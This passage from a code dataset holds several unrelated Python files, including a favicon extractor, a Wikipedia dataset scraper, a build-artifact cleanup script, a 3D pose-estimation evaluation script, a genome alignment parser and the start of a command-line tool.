img2pdf\r\n\r\nrefer https://stackoverflow.com/questions/27327513/create-pdf-from-a-list-of-images \r\n\r\n'''\r\nimport img2pdf\r\nimg_file = \"test009.jpg\"\r\npdf_file = \"test009.pdf\"\r\nwith open(pdf_file, \"wb\") as f:\r\n f.write(img2pdf.convert(img_file))\r\n","sub_path":"kindle/img2pdf.py","file_name":"img2pdf.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"532757426","text":"import requests\nfrom urllib.parse import urlparse, urljoin\nfrom bs4 import BeautifulSoup\nfrom datauri import DataURI\nfrom PIL import Image, ImageDraw, ImageFont\nimport cairosvg\nfrom io import BytesIO\n\nfrom magic import from_buffer\nimport os, sys\nimport logging\n\nfrom typing import Union, List\n\nfrom requests import HTTPError\n\n\nfmt = '%(asctime)s:%(levelname)s:favicon-{}:%(message)s'.format(os.getenv('IMAGE_VERSION'))\nlogging.basicConfig(format=fmt, stream=sys.stdout, level=logging.DEBUG)\nlog = logging.getLogger(__name__)\n\n\"\"\"\nTODO: check a random page to force a 404. Then try to pull favicon from here\n heb.com is trying to block bots using JS on their homepage\n\"\"\"\n\nHEADERS = {\n 'User-agent': (\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) \"\n \"AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/48.0.2564.103 Safari/537.36\")\n}\nTIMEOUT = 10\nBASE_DIR = os.path.dirname(os.path.realpath(__file__))\n\n\nclass FavIconException(Exception):\n pass\n\n\nclass FavIcon(object):\n\n HEADERS = {\n 'User-agent': (\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/48.0.2564.103 Safari/537.36\")\n }\n\n TIMEOUT = 10\n LOCALHOSTS = ['127.0.0.1', 'localhost', '0.0.0.0']\n SCHEMES = ['ssh', 'telnet']\n HTML_ATTRIBUTES = ['apple-touch-icon', 'apple-touch-icon-precomposed', 'shortcut', 'icon', 'shortcut icon']\n\n errors:List = []\n presaved:bool = False\n\n\n def __init__(self, url:str = None, base_dir:str = None):\n \"\"\"\n\n :param url:\n :param base_dir:\n \"\"\"\n\n self.base_dir = base_dir if base_dir else os.path.dirname(os.path.realpath(__file__))\n self.media_dir = f'{self.base_dir}/icons'\n\n if not url:\n raise FavIconException('url cannot be None')\n\n self.url = url\n self._process_meta()\n\n if len(self.domain) == 0:\n raise FavIconException('Missing domain')\n\n if self.scheme in self.SCHEMES:\n b = os.path.dirname(os.path.realpath(__file__))\n self.filename = f\"{b}/assets/images/{self.scheme}.png\"\n elif self.domain in self.LOCALHOSTS:\n b = os.path.dirname(os.path.realpath(__file__))\n self.filename = f\"{b}/assets/images/localhost.png\"\n else:\n self.filename = f\"{self.media_dir}/{self.domain}.png\"\n\n # check if we already have the file\n if os.path.isfile(self.filename):\n self.presaved = True\n\n def _process_meta(self):\n url_parts = urlparse(self.url)\n self.scheme = url_parts.scheme.lower()\n self.domain = url_parts.netloc.split(':')[0].lower()\n self.base_url = f\"{self.scheme}://{url_parts.netloc}\"\n\n\n\n def download_remote_favicon(self, favicon_url: str) -> bytes:\n\n if favicon_url.startswith('data:image'):\n return DataURI(favicon_url).data\n\n try:\n # need to set headers here to fool sites like cafepress.com...\n h = requests.get(favicon_url, allow_redirects=True, timeout=TIMEOUT, headers=HEADERS, verify=False)\n except (requests.exceptions.Timeout,\n requests.exceptions.ConnectionError,\n requests.exceptions.InvalidSchema,\n requests.exceptions.MissingSchema,\n requests.exceptions.InvalidURL) as e:\n\n raise FavIconException(e)\n\n try:\n h.raise_for_status()\n except HTTPError as e:\n raise FavIconException(f'HTTP Error on favicon url: {favicon_url}')\n\n if len(h.content) == 0:\n raise FavIconException(f'download_remove_favicon: Zero Length favicon: {favicon_url}')\n\n # is the returning file SVG? If so, we have to convert it to bitmap (png)\n # content = cairosvg.svg2png(bytestring=h.content) if 'SVG' in from_buffer(h.content) else h.content\n\n if 'SVG' in from_buffer(h.content) or favicon_url.endswith('.svg'):\n image = cairosvg.svg2png(bytestring=h.content)\n else:\n image = h.content\n\n if not self.is_bytes_valid_favicon(image):\n raise FavIconException(f'download_remove_favicon: Downloaded icon was not valid image: {favicon_url}')\n\n return image\n\n def log_error(self, message):\n log.debug(message)\n self.errors.append(message)\n\n def fetch_html(self) -> str:\n try:\n # set the user agent to fool economist.com and other sites who care...\n r = requests.get(self.url, timeout=self.TIMEOUT, headers=self.HEADERS, verify=False)\n\n except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:\n raise FavIconException(e)\n\n # if we were redirected off the domain, then we catch it here\n new_domain_parts = urlparse(r.url)\n new_domain = new_domain_parts.netloc.split(':')[0].lower()\n\n # now we just re-check favicons on the new domain\n if self.domain != new_domain:\n log.debug(f'Switching domains. {self.domain} -> {new_domain}')\n self.url = r.url\n self._process_meta()\n\n return r.text\n\n def find_in_html(self, html:str) -> str:\n \"\"\"\n Look for a favicon (or apple touch icon) in an html string.\n\n :param html: The HTML string (often entire page source)\n :param base_url: Base URL for the page (eg http://example.com)\n :return: a string URL of the favicon location or data-uri\n \"\"\"\n soup = BeautifulSoup(html, 'html5lib')\n\n # find the first available link to an icon we can download\n target = soup.find('link', attrs={'rel': lambda x: x.lower() in self.HTML_ATTRIBUTES})\n\n if not target:\n raise FavIconException('Could not find suitable link for favicon extraction')\n\n href = target.get('href', '')\n\n return self.calc_href(href)\n\n def calc_href(self, href: str) -> str:\n \"\"\"\n Calculate the complete URL based on the base_url and the href fragment\n\n :param href:\n :param base_url:\n :return:\n \"\"\"\n\n if len(href) == 0:\n raise FavIconException(f'Found Favicon HREF was length 0: {href}')\n\n # for those clever devs who pack the favicon as a data uri\n if href.startswith('data:image'):\n return href\n\n if href.startswith('http'):\n return href\n\n if href.startswith('//'):\n return 'http:' + href\n\n return urljoin(self.base_url, href)\n\n def is_bytes_valid_favicon(self, data) -> bool:\n \"\"\"\n\n :param data:\n :return:\n \"\"\"\n bytes = BytesIO(data)\n the_magic = from_buffer(bytes.read())\n\n if any([m in the_magic for m in ['icon', 'PNG', 'GIF', 'JPEG', 'SVG', 'PC bitmap']]):\n return True\n\n # TODO: detect if all pixels are white or transparent\n # http://stackoverflow.com/a/1963146/1646663\n # http://stackoverflow.com/a/14041871/1646663\n\n return False\n\n def get_favicon(self) -> BytesIO:\n \"\"\"\n Return bytes\n\n :return:\n \"\"\"\n\n if self.presaved:\n with open(self.filename, 'rb') as f:\n image = f.read()\n\n return BytesIO(image)\n\n try:\n html = self.fetch_html()\n except FavIconException as e:\n self.log_error(e)\n image = make_image(self.domain)\n return BytesIO(image)\n\n try:\n favicon_url = self.find_in_html(html)\n except FavIconException as e:\n self.log_error(e)\n favicon_url = f\"{self.base_url}/favicon.ico\"\n\n try:\n raw_image = self.download_remote_favicon(favicon_url)\n image = resize_image(raw_image)\n\n except FavIconException as e:\n self.log_error(e)\n image = make_image(self.domain)\n\n with open(self.filename, 'wb') as f:\n f.write(image)\n\n # wrap data in BytesIO and send it out\n return BytesIO(image)\n\ndef common_locations(domain: str) -> List[str]:\n \"\"\"\n Produce an array of the most common locations where we might find a favicon\n\n :param domain: just the base domain name (example.com)\n :return: a list of urls\n \"\"\"\n\n # extensions = ['ico','png','gif','jpg','jpeg']\n extensions = ['ico', 'png']\n schemes = ['http', 'https']\n subdomains = ['']\n\n locations = []\n\n # check in 20 possible places\n # this is probably a bit excessive\n for ext in extensions:\n for scheme in schemes:\n for subdomain in subdomains:\n url = f'{scheme}://{subdomain}{domain}/favicon.{ext}'\n locations.append(url)\n\n return locations\n\n\ndef make_image(domain:str) -> bytes:\n \"\"\"\n Given a domain name, generate a favicon that is just the first letter.\n\n :param domain:\n :return:\n \"\"\"\n letter = domain[0].upper()\n\n b = os.path.dirname(os.path.realpath(__file__))\n font = ImageFont.truetype(f\"{b}/assets/fonts/DejaVuSansMono-webfont.ttf\", 24)\n img = Image.new(\"RGBA\", (32,32),(128,128,128))\n draw = ImageDraw.Draw(img)\n color = (255,255,255)\n draw.text((8, 1), letter, color,font=font)\n\n out = BytesIO()\n\n img.save(out, 'png')\n return out.getvalue()\n\n\ndef resize_image(image:bytes, width:int = 16, height:int = 16) -> bytes:\n\n img = Image.open(BytesIO(image))\n img = img.convert('RGB') if img.mode == 'CMYK' else img\n\n img.thumbnail((width, height), Image.ANTIALIAS)\n\n out = BytesIO()\n img.save(out, 'png')\n val = out.getvalue()\n return val\n","sub_path":"src/favicon_extractor/favicon_extractor.py","file_name":"favicon_extractor.py","file_ext":"py","file_size_in_byte":9605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"201047825","text":"\"\"\"\nWikiScraper module.\n\"\"\"\nimport re\nimport os\nimport time\nfrom contextlib import closing\nfrom requests import get\nfrom bs4 import BeautifulSoup as bs\n\nclass WikiScraper:\n \"\"\"\n WikiScraper class.\n Downloads pages from wikipedia, formats them and creates a dataset.\n\n Attributes:\n title (str): page title to build dataset from\n base_url (str): wikipedia base url\n \"\"\"\n title = None\n base_url = \"https://en.wikipedia.org/\"\n\n def init_dataset(self, title):\n \"\"\"\n Set wiki page to create dataset and start scraping from,\n create necessary folders.\n\n Args:\n title (str): title of wiki page\n\n Raises:\n FileExistsError: dataset already exists\n \"\"\"\n # store page title to scrape from\n self.title = \"wiki/\" + title\n\n if not os.path.isdir(\"./datasets\"):\n # create /datasets dir if it doesn't exist\n os.mkdir(\"./datasets\")\n\n if os.path.isdir(\"./datasets/\" + title):\n # raise exception if dataset for given page already exists\n raise FileExistsError(\"Dataset already exists.\")\n else:\n # create dirs for dataset\n os.mkdir(\"./datasets/\" + title)\n os.mkdir(\"./datasets/\" + title + \"/Words\")\n os.mkdir(\"./datasets/\" + title + \"/Links\")\n\n def download_page(self, url):\n \"\"\"\n Downloads webpage and returns the raw html data.\n\n Args:\n url (str): url for webpage\n\n Returns:\n str: raw html data\n \"\"\"\n with closing(get(url, stream=True)) as resp:\n # decode bytes object to string\n html = resp.content.decode(\"utf-8\")\n return html\n\n def try_decompose(self, soup, el, attr):\n \"\"\"\n Try to delete part of soup object, pass if exception is raised.\n\n Args:\n soup: object\n el (str): element\n attr (dict): attribute/value\n \"\"\"\n try:\n soup.find(el, attr).decompose()\n except:\n pass\n\n def get_and_parse_page(self, page):\n \"\"\"\n Download html data, clean up unwanted elements and return formatted\n text and list of outgoing links.\n\n Args:\n page (url): url/name of page (should be 'wiki/title' format)\n\n Returns:\n list: title, text and outgoing links\n \"\"\"\n # get raw html\n html = self.download_page(self.base_url + page)\n\n # remove unnecessary parts of html\n start = html.find(\"
\")\n notes = html.find(\"\")\n refs = html.find(\"\")\n nr = [notes, refs]\n end = min(nr) if -1 not in nr else max(nr)\n end = end if end is not -1 else 100000000\n html = html[start:end]\n\n # create beautifulsoup object\n soup = bs(html, 'html.parser')\n\n # remove unnecessary notes\n for note in soup.findAll(\"div\", {\"class\": \"hatnote\"}):\n if note.findAll(text=re.compile('This article is about')):\n note.decompose()\n if note.findAll(text=re.compile('redirects here')):\n note.decompose()\n if note.findAll(text=re.compile('(disambiguation)')):\n note.decompose()\n if note.findAll(text=re.compile('Not to be confused')):\n note.decompose()\n\n # remove table of contents\n self.try_decompose(soup, \"div\", {\"id\": \"toc\"})\n\n # remove infobox\n self.try_decompose(soup, \"table\", {\"class\": \"infobox\"})\n\n # remove short description\n self.try_decompose(soup, \"div\", {\"class\": \"shortdescription\"})\n\n # remove unnecessary boxes\n for table in soup.findAll(\"table\", {\"class\": \"ambox\"}):\n table.decompose()\n\n # remove style tags\n for style in soup.findAll(\"style\"):\n style.decompose()\n\n # get text\n text = soup.get_text().lower().strip()\n\n # remove brackets and content\n text = re.sub(r'\\[.*?\\]', '', text)\n\n # remove all characters but letters\n text = re.sub(r\"[^a-zA-Z0-9]+\", ' ', text)\n\n # get outgoing links\n links = soup.findAll('a')\n linkset = set()\n for l in links:\n link = l.get(\"href\")\n try:\n if link[:6] == \"/wiki/\":\n # remove unwanted links\n if link[6:11] in [\"File:\", \"Help:\"]:\n continue\n if link[6:13] == \"Portal:\":\n continue\n if link[6:14] == \"Special:\":\n continue\n if link[6:16] == \"Wikipedia:\":\n continue\n if \"/\" in link[6:]:\n continue\n # shorten links which include a '#'\n if link.find(\"#\") != -1:\n link = link[:link.find(\"#\")]\n # add link to set\n linkset.add(link)\n except:\n pass\n\n # return dict with title, text and outgoing links\n return {\"text\": text, \"links\": linkset, \"title\": page[5:]}\n\n def save_page(self, data):\n \"\"\"\n Save text and links from page in separate files.\n\n Args:\n data (dict): title, text and outgoing links for page\n \"\"\"\n # get dataset dir\n working_dir = os.path.dirname(os.path.realpath(__file__))\n ds = working_dir + \"/datasets/\" + self.title[5:]\n\n # save text file\n f = open(ds + \"/Words/\" + data[\"title\"], \"w\")\n f.write(data[\"text\"])\n f.close()\n\n # save links file\n f = open(ds + \"/Links/\" + data[\"title\"], \"w\")\n f.write('\\n'.join(data[\"links\"]))\n f.close()\n\n def create_dataset(self):\n \"\"\"\n Downloads first page, then downloads all outgoing links\n and creates a dataset.\n\n Raises:\n RunTimeError: no dataset initiated\n \"\"\"\n if self.title is None:\n # raise exception if dataset is not initiated\n raise RunTimeError(\"No dataset initiated.\")\n\n # start timer\n start = time.time()\n\n # get first page and save files\n first = self.get_and_parse_page(self.title)\n link_amount = len(first[\"links\"])\n self.save_page(first)\n\n # print info\n print(\"Downloaded page: \" + self.base_url + self.title)\n print(\"Outgoing links: \" + str(link_amount))\n print(\"---\")\n\n # download outgoing links\n count = 1\n for l in first[\"links\"]:\n data = self.get_and_parse_page(l)\n self.save_page(data)\n print(\"Downloaded page {}/{} - {}\".format(count, link_amount, l))\n count += 1\n\n print(\"---\")\n\n # end timer and print info\n end = time.time()\n print(\"Dataset of {} pages created in {} seconds.\".format(\n link_amount+1,\n round(end-start, 2)))\n","sub_path":"wikiscraper.py","file_name":"wikiscraper.py","file_ext":"py","file_size_in_byte":7127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"312766649","text":"# -*- coding: utf-8 -*-\n'''\n清除当前文件夹下所有子目录的特定格式文件\n'''\nimport os\nimport sys\n\ndef file_extension(path): \n return os.path.splitext(path)[1]\npos = sys.path[0]\n\n\ns =set([\".exe\",\".o\"])\nfor dirpath,dirnames,filenames in os.walk(pos):\n\t#print(dirpath)\n\t#print(filenames)\n\tfor filename in filenames:\n\t\tif(file_extension(filename) in s):\n\t\t\tos.remove(os.path.join(dirpath,filename))\n\n","sub_path":"exekiller.py","file_name":"exekiller.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"37674418","text":"import sys\nsys.path.append(\"..\")\n\nimport os\nimport shutil\nimport torch\nimport numpy as np\nimport pickle\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport configparser\nimport json\nimport argparse\nimport glob\n\nimport copy\n\nfrom utils.utils import *\nfrom utils.tools import *\n\nfrom Pipeline import Pipeline\nfrom Model import Model\n#from ModelSkipOnlyFourExtra import Model\n#from ModelSkipOnly import Model\n#from ModelFourExtra import Model\n#from ModelTwoExtra import Model\n#from ModelBig import Model\n#from ModelSmall import Model\n#from ModelDeep import Model\nfrom Encoder import Encoder\nfrom utils.pytless import inout, misc\nfrom utils.pytless.renderer import Renderer\n\ndef arr2str(arr):\n flat_arr = arr.flatten().tolist()\n str_arr = \"\"\n for i in np.arange(len(flat_arr)):\n str_arr += \"{0:.8f} \".format(flat_arr[i])\n return str_arr[:-1]\n\ndef correct_trans_offset(R, t_est):\n # Translation offset correction\n d_alpha_x = np.arctan(t_est[0]/t_est[2])\n d_alpha_y = np.arctan(t_est[1]/t_est[2])\n R_corr_x = np.array([[1,0,0],\n [0,np.cos(d_alpha_y),-np.sin(d_alpha_y)],\n [0,np.sin(d_alpha_y),np.cos(d_alpha_y)]])\n R_corr_y = np.array([[np.cos(d_alpha_x),0,-np.sin(d_alpha_x)],\n [0,1,0],\n [np.sin(d_alpha_x),0,np.cos(d_alpha_x)]])\n R_corrected = np.dot(R_corr_y,np.dot(R_corr_x,R))\n return R_corrected\n\ndef main():\n visualize = True\n use_classifier = False\n\n # Read configuration file\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-mp\", help=\"path to the model checkpoint\")\n parser.add_argument(\"-ep\", help=\"path to the encoder weights\")\n parser.add_argument(\"-pi\", help=\"path to the pickle input file\")\n parser.add_argument(\"-op\", help=\"path to the CAD model for the object\", default=None)\n parser.add_argument(\"-o\", help=\"output path\", default=\"./output.csv\")\n parser.add_argument(\"-oid\", help=\"where get the obj IDs from (GT or model)\", default=None)\n args = parser.parse_args()\n\n if(args.oid is not None and args.oid == \"model\"):\n use_classifier = True\n\n # Load dataset\n data = pickle.load(open(args.pi,\"rb\"), encoding=\"latin1\")\n\n # Load configuration file\n cfg_file_path = args.mp.replace(\"/models/{0}\".format(args.mp.split('/')[-1]),\"\")\n cfg_file_path = glob.glob('{0}/*.cfg'.format(cfg_file_path))[0]\n conf = configparser.ConfigParser()\n conf.read(cfg_file_path)\n\n try:\n model_path_loss = json.loads(conf.get('Dataset', 'MODEL_PATH_LOSS'))\n except:\n model_path_loss = [conf.get('Dataset', 'MODEL_PATH_LOSS')]\n\n num_objects = len(model_path_loss)\n num_views = len(json.loads(conf.get('Rendering', 'VIEWS')))\n tune_encoder = conf.getboolean('Training','FINETUNE_ENCODER', fallback=False)\n classifier_in_model = conf.getboolean('Training','CLASSIFY_OBJECTS', fallback=False)\n\n # Prepare object mapping for using GT obj IDs\n obj_mapping = {}\n #obj_mapping[real_obj_id] = obj number in NN output\n obj_mapping[1] = 0\n obj_mapping[2] = 0\n obj_mapping[3] = 0\n obj_mapping[4] = 0\n obj_mapping[5] = 1\n obj_mapping[6] = 1\n obj_mapping[10] = 2\n obj_mapping[17] = 3\n obj_mapping[18] = 3\n obj_mapping[19] = 4\n obj_mapping[20] = 4\n\n # Run prepare our model if needed\n if(\"Rs_predicted\" not in data):\n\n # Set the cuda device\n device = torch.device(\"cuda:0\")\n torch.cuda.set_device(device)\n\n # Initialize the model\n model = Model(num_views=num_views,\n num_objects=num_objects,\n finetune_encoder=tune_encoder,\n classify_objects=classifier_in_model)\n model.to(device)\n\n # Load model checkpoint\n checkpoint = torch.load(args.mp)\n\n # Load model\n model.load_state_dict(checkpoint['model'], strict=False)\n model.eval()\n\n # Load and prepare encoder\n encoder = Encoder(args.ep).to(device)\n if(tune_encoder):\n encoder.encoder_dense_MatMul = None\n encoder.eval()\n\n # Setup the pipeline\n pipeline = Pipeline(encoder, model, device)\n\n # Prepare renderer if defined\n obj_path = args.op\n if(obj_path is not None):\n obj_model = inout.load_ply(obj_path.replace(\".obj\",\".ply\"))\n img_size = 128\n K = np.array([1075.65091572, 0.0, 128.0/2.0,\n 0.0, 1073.90347929, 128.0/2.0,\n 0.0, 0.0, 1.0]).reshape(3,3)\n renderer = Renderer(obj_model, (img_size,img_size), K,\n surf_color=(1, 1, 1), mode='rgb', random_light=False)\n else:\n renderer = None\n\n # Store results in a dict\n results = {\"scene_id\":[],\n \"im_id\":[],\n \"obj_id\":[],\n \"score\":[],\n \"R\":[],\n \"t\":[],\n \"time\":[]}\n\n # Loop through dataset\n for i,img in enumerate(data[\"images\"]):\n print(\"Current image: {0}/{1}\".format(i+1,len(data[\"images\"])))\n\n if(\"Rs_predicted\" in data):\n R_predicted = data[\"Rs_predicted\"][i]\n else:\n\n # Run through model\n predicted_poses = pipeline.process([img])\n\n # Find best pose\n pose_start = 0\n pose_end = pose_start + 6\n best_pose = 0.0\n R_predicted = None\n\n # Seperate classes and pose predictions\n if(classifier_in_model):\n predicted_classes = predicted_poses[:,:num_objects]\n predicted_poses = predicted_poses[:, num_objects:]\n\n # Seperate prdiction into confidences and poses\n confs = predicted_poses[:,:(num_views*num_objects)]\n poses = predicted_poses[:,(num_views*num_objects):]\n\n # Mask stuff according to ID if outputting multiple objects\n if(num_objects > 1):\n if(use_classifier):\n idx_mask = torch.argmax(predicted_classes, dim=1)\n else:\n ids = [obj_mapping[data[\"obj_ids\"][i]]]\n idx_mask = torch.tensor(ids)\n\n confs = confs.reshape(-1,num_objects,num_views)\n confs = confs[torch.arange(confs.size(0)), idx_mask].squeeze(1)\n\n poses = poses.reshape(-1,num_objects,num_views*6)\n poses = poses[torch.arange(poses.size(0)), idx_mask].squeeze(1)\n\n for k in range(num_views):\n # Extract current pose and move to next one\n curr_pose = poses[:,pose_start:pose_end]\n Rs_predicted = compute_rotation_matrix_from_ortho6d(curr_pose)\n Rs_predicted = Rs_predicted.detach().cpu().numpy()[0]\n pose_start = pose_end\n pose_end = pose_start + 6\n\n conf = confs[:,k].detach().cpu().numpy()[0]\n if(conf > best_pose):\n R_predicted = Rs_predicted\n best_pose = conf\n\n # Invert xy axes\n xy_flip = np.eye(3, dtype=np.float)\n xy_flip[0,0] = -1.0\n xy_flip[1,1] = -1.0\n R_predicted = R_predicted.dot(xy_flip)\n\n # Inverse rotation matrix\n R_predicted = np.transpose(R_predicted)\n\n results[\"scene_id\"].append(data[\"scene_ids\"][i])\n results[\"im_id\"].append(data[\"img_ids\"][i])\n results[\"obj_id\"].append(data[\"obj_ids\"][i])\n results[\"score\"].append(-1)\n results[\"R\"].append(arr2str(R_predicted))\n results[\"t\"].append(arr2str(data[\"ts\"][i]))\n results[\"time\"].append(-1)\n\n if(renderer is None):\n visualize = False\n\n if(visualize):\n t_gt = np.array(data[\"ts\"][i])\n t = np.array([0,0,t_gt[2]])\n\n # Render predicted pose\n R_predicted = correct_trans_offset(R_predicted,t_gt)\n ren_predicted = renderer.render(R_predicted, t)\n\n # Render groundtruth pose\n R_gt = data[\"Rs\"][i]\n R_gt = correct_trans_offset(R_gt,t_gt)\n ren_gt = renderer.render(R_gt, t)\n\n cv2.imshow(\"gt render\", np.flip(ren_gt,axis=2))\n cv2.imshow(\"predict render\", np.flip(ren_predicted,axis=2))\n\n cv2.imshow(\"input image\", np.flip(img,axis=2))\n if(\"codebook_images\" in data):\n cv2.imshow(\"codebook image\",\n np.flip(data[\"codebook_images\"][i],axis=2))\n\n print(ren_gt.shape)\n print(ren_predicted.shape)\n print(img.shape)\n numpy_horizontal_concat = np.concatenate((np.flip(ren_gt,axis=2), np.flip(ren_predicted,axis=2), np.flip(img,axis=2)), axis=1)\n cv2.imshow(\"gt - prediction - input\", numpy_horizontal_concat)\n key = cv2.waitKey(0)\n if(key == ord(\"q\")):\n exit()\n visualize = False\n #break\n continue\n\n # Save to CSV\n output_path = args.o\n print(\"Saving to: \", output_path)\n with open(output_path, \"w\") as f:\n col_names = list(results.keys())\n w = csv.DictWriter(f, results.keys())\n w.writeheader()\n num_lines = len(results[col_names[0]])\n\n for i in np.arange(num_lines):\n row_dict = {}\n for c in col_names:\n row_dict[c] = results[c][i]\n w.writerow(row_dict)\n\nif __name__ == '__main__':\n main()\n","sub_path":"multi-pose/eval-pickle.py","file_name":"eval-pickle.py","file_ext":"py","file_size_in_byte":9500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"14369995","text":"import unittest\nimport sys\nimport os\nimport numpy as np\ntop = os.path.abspath(\"../..\")\nprint(top)\nsys.path.append(top)\n\nfrom evaluate.evaluate_libs import run_coco, run_voc\nclasses = [\"Section Header\", \"Body Text\", \"Figure\", \"Figure Caption\", \"Table\", \"Equation\", \\\n \"Page Footer\", \"Page Header\", \"Table Caption\", \"Table Note\", \"Abstract\", \"Other\", \"Equation label\", \"Reference text\", \"Figure Note\"]\n\ndef is1ornan(x):\n return x == 1.0 or x !=x\n\nclass TestEvaluation(unittest.TestCase):\n def setUp(self):\n self.gt_dir = \"data/annotations\"\n self.pred_dir = \"data/predictions\"\n self.pred_dir_overlaps = \"data/predictions_overlaps\"\n\n def test_perfect(self):\n print(\"---- TESTING PERFECT ----\")\n\n res = run_voc(self.gt_dir, self.gt_dir)\n print(res)\n self.assertAlmostEqual(1.0, 1.0, places=2)\n\n \nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"cosmos/tests/evaluation/test_evaluate_libs.py","file_name":"test_evaluate_libs.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"574018018","text":"\n# coding: utf-8\n\n# In[1]:\n\n\n#180601\n\n#sarahfong\n#biopython is loaded in the sf_test env with 'conda install -c bioconda biopython'\n\n\nimport sys\nimport glob\n\n#SARAH- ADD THE PATH WITH BIOPYTHON\nbio_package = '/home/fongsl/.conda/envs/sf_test/lib/python3.6/site-packages'\nif bio_package not in sys.path:\n\n sys.path.append('/home/fongsl/.conda/envs/sf_test/lib/python3.6/site-packages')\nsys.path\n\nfrom Bio import AlignIO\nfrom Bio import SeqIO\n\n# path to data\n\ndatapath = \"/dors/capra_lab/users/fongsl/broadly_active_enhancers/data/villar_ref_data/villar_maf/\"\n\n#make a list of the MAF files separated by chromosome\n\nmaf_list = glob.glob(\"%sparsed*.maf\" % datapath)\n\n\nfor MAF_FILE in maf_list:\n# this grafted from Abin's script. Credits to him. \n\n chr_num = ((MAF_FILE.split('/')[-1]).split('_')[1]).split('.')[0]\n print(\"working on \", chr_num)\n out_file = open(\"%shg19_spec_%s.bed\" %(datapath, chr_num), 'w')\n\n maf = AlignIO.parse(MAF_FILE, \"maf\")\n count = 0 \n for block in maf: \n count += 1\n store_homolog_line = []\n conservation_count = len(block)\n for row in block: \n \n ### this is where the parsing happens.... what is the .id part?\n #print(row)\n species = row.id.split('.')[0]\n \n blockchr = row.id.split('.')[1]\n \n start = row.annotations['start']\n \n end = row.annotations['start'] + row.annotations['size'] + 1 \n \n if row.annotations['strand'] == 1:\n strand = \"+\" \n elif row.annotations['strand'] == -1: \n strand = \"-\"\n else: \n raise ValueError('strand parsing did not work') \n \n\n store_homolog_line.append([blockchr, start, end, strand, species, conservation_count])\n \n store_homolog_line = [value for v in store_homolog_line for value in v]\n out_file.write('\\t'.join(map(str,store_homolog_line)) + '\\n')\n\n","sub_path":"alignments/get_villar_hspecific_BAE_alignments.py","file_name":"get_villar_hspecific_BAE_alignments.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"282786438","text":"from microdot import Microdot, Response\nfrom microdot_jinja import render_template\n\napp = Microdot()\nResponse.default_content_type = 'text/html'\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index(req):\n name = None\n if req.method == 'POST':\n name = req.form.get('name')\n return render_template('index.html', name=name)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"examples/templates/jinja/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"213516180","text":"from itertools import permutations\r\nx = [1,2,3,4,5,6,7,8,9]\r\nans = list(permutations(x))\r\ncount = 0\r\ndef flag(n):\r\n ans1 = n[0]+n[1]+n[3]+n[5]\r\n ans2 = n[0]+n[2]+n[4]+n[8]\r\n ans3 = n[5]+n[6]+n[7]+n[8]\r\n if ans1==ans2==ans3:\r\n return True\r\n return False\r\nfor i in ans:\r\n if flag(i):\r\n count+=1\r\nprint(count/6) #除去旋转和镜像的有2*3次\r\n","sub_path":"月赛/第一次月赛/纸牌三角形.py","file_name":"纸牌三角形.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"174997864","text":"import argparse\nimport sys\nimport datetime\nfrom mtsv.commands import WGFast, Concoct\nfrom mtsv.parameters import Parameters\n\nfrom mtsv.parsing import (\n make_sub_parser,\n TYPES,\n parse_config_sections,\n get_missing_sections\n)\n\nfrom mtsv.utils import(\n error,\n warn,\n set_log_file\n)\n\nCOMMANDS = {\n \"wgfast\": WGFast,\n \"concoct\": Concoct\n}\n\ndef add_cfg_to_args(argv, parser):\n '''treat config arguments as command line\n arguments to catch argparse errors'''\n config = get_config_from_argv(argv)\n cmd_cfg_section = get_command_from_argv(argv).config_section\n config_args = parse_config_sections(\n config,\n cmd_cfg_section)\n for k, v in config_args.items():\n fmt_k = \"--{}\".format(k)\n if fmt_k not in argv and v != None:\n argv += [fmt_k] + v.split(\" \")\n missing = set(cmd_cfg_section).intersection(\n set(get_missing_sections(config)))\n args, snake_args = parser.parse_known_args(argv[1:])\n return args, snake_args, missing\n\n\ndef get_command_from_argv(argv):\n return COMMANDS[argv[1]]\n\ndef get_config_from_argv(argv):\n index = -1\n opts = ['-c', '--config']\n for opt in opts:\n if opt in argv:\n index = argv.index(opt)\n if index != -1:\n return argv[index + 1]\n\n\ndef change_wkdir(argv):\n index = -1\n opts = ['--working_dir', '-wd']\n for opt in opts:\n if opt in argv:\n index = argv.index(opt)\n if index != -1:\n argv[index + 1] = TYPES['project_dir_type'](argv[index + 1])\n\ndef setup_and_run(argv, parser):\n \"\"\"Setup and run a command\"\"\"\n change_wkdir(argv)\n if '--config' in argv or '-c' in argv:\n args, snake_args, missing = add_cfg_to_args(argv, parser)\n if missing:\n warn(\"Section(s) missing in config file, \"\n \"using defaults: {}\".format(\", \".join(missing)))\n else:\n args, snake_args = parser.parse_known_args()\n args.log_file = set_log_file(\n args.log_file, \n args.cmd_class.__name__,\n args.timestamp\n )\n params = Parameters(args, snake_args)\n cmd = args.cmd_class(params)\n cmd.run()\n\n\ndef main(argv=None):\n if 